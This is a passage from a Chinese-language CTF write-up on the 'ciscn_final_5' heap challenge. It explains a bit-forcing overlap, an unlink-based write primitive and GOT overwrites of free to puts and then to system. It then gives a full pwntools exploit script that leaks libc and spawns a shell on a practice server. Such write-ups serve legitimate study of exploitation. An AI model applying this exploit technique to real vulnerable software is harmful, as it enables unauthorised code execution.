时保错。若输入为 16,那么可以通过检测。而在存放地址时,低 5 位定会被修改为 1。如果原先块的地址第 5 位为 0,在被强制修改为 1 后,之后操作时,则会对用户地址 + 10 的地方进行操作。因此便可以越界操作 0x10 个字节,构成 overlap。
之后就是喜闻乐见的 unlink 实现任意地址读写。但这里并不完全是任意地址,只能对低 4 位为 0 的地址进行读写。例如,要对 free 的 got 表进行改写,那只能修改地址为往前 8 字节处,然后写入时再加上 8 字节偏移。
由于没有输出 chunk 的函数,这里先利用释放函数,将 free 的 got 表指向 put 的 plt,然后泄露 libc 地址,再将 free 的 got 表指向 system 函数,最后释放含 "/bin/sh"
字符串的 chunk。
注意一点,释放 chunk 之后,会清空数组内的地址,此时其低 4 位为 0,因此当输入编号 0 时会选择该空地址进行操作。我们利用 free 函数输出 ptr+0 存放地址对应内容,并将 ptr+0 处清空。由于任意地址读写利用了 ptr+3 处的地址,其对应编号为 0。所以第二次任意地址读写前,需分配一次块,将 ptr+0 处空地址覆盖,以便 ptr+3 正常利用。
#!/usr/bin/python3 | |
from pwn import * | |
from LibcSearcher import LibcSearcher | |
context(arch='amd64', log_level='debug') | |
filename = 'ciscn_final_5' | |
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so' | |
libc = ELF(libcfile) | |
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0 | |
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',27135) | |
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename) | |
if mode==2: | |
gdb.attach(p, 'b *0x400E89') | |
def suspend(): | |
if mode == 2: | |
pause() | |
else: | |
sleep(0.1) | |
def choose(x): | |
p.sendlineafter(b'choice: ', str(x).encode()) | |
def mal(index, size, content=b'aaaa'): | |
choose(1) | |
p.sendlineafter(b'index: ', str(index).encode()) | |
p.sendlineafter(b'size: ', str(size).encode()) | |
p.sendafter(b'content: ', content) | |
def free(index): | |
choose(2) | |
p.sendlineafter(b'index: ', str(index).encode()) | |
def edit(index, content): | |
choose(3) | |
p.sendlineafter(b'index: ', str(index).encode()) | |
p.sendafter(b'content: ', content) | |
ptr = 0x6020E0 | |
mal(1,0x18) | |
mal(2, 0x18) | |
mal(3, 0x18) | |
mal(16, 0x98) | |
mal(4, 0x418) | |
mal(5, 0x18, b'/bin/sh\0') | |
edit(0, flat({0:[0, 0x81, ptr, ptr+8], 0x80:[0x80, 0x420]})) | |
free(4) | |
free_g = e.got['free'] - 8 | |
puts_p = e.plt['puts'] | |
lsm_g = e.got['__libc_start_main'] | |
edit(0, p64(free_g|1)) | |
edit(1, b'\0'*8+p64(puts_p)) | |
edit(0, p64(lsm_g|1)) | |
free(1) | |
lsm_a = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\0')) | |
obj = LibcSearcher('__libc_start_main',lsm_a) | |
libcbase = lsm_a - obj.dump('__libc_start_main') | |
sys_a = libcbase + obj.dump('system') | |
mal(1, 0x18) | |
edit(0, p64(free_g|1)) | |
edit(1, b'\0'*8+p64(sys_a)) | |
free(5) | |
p.interactive() |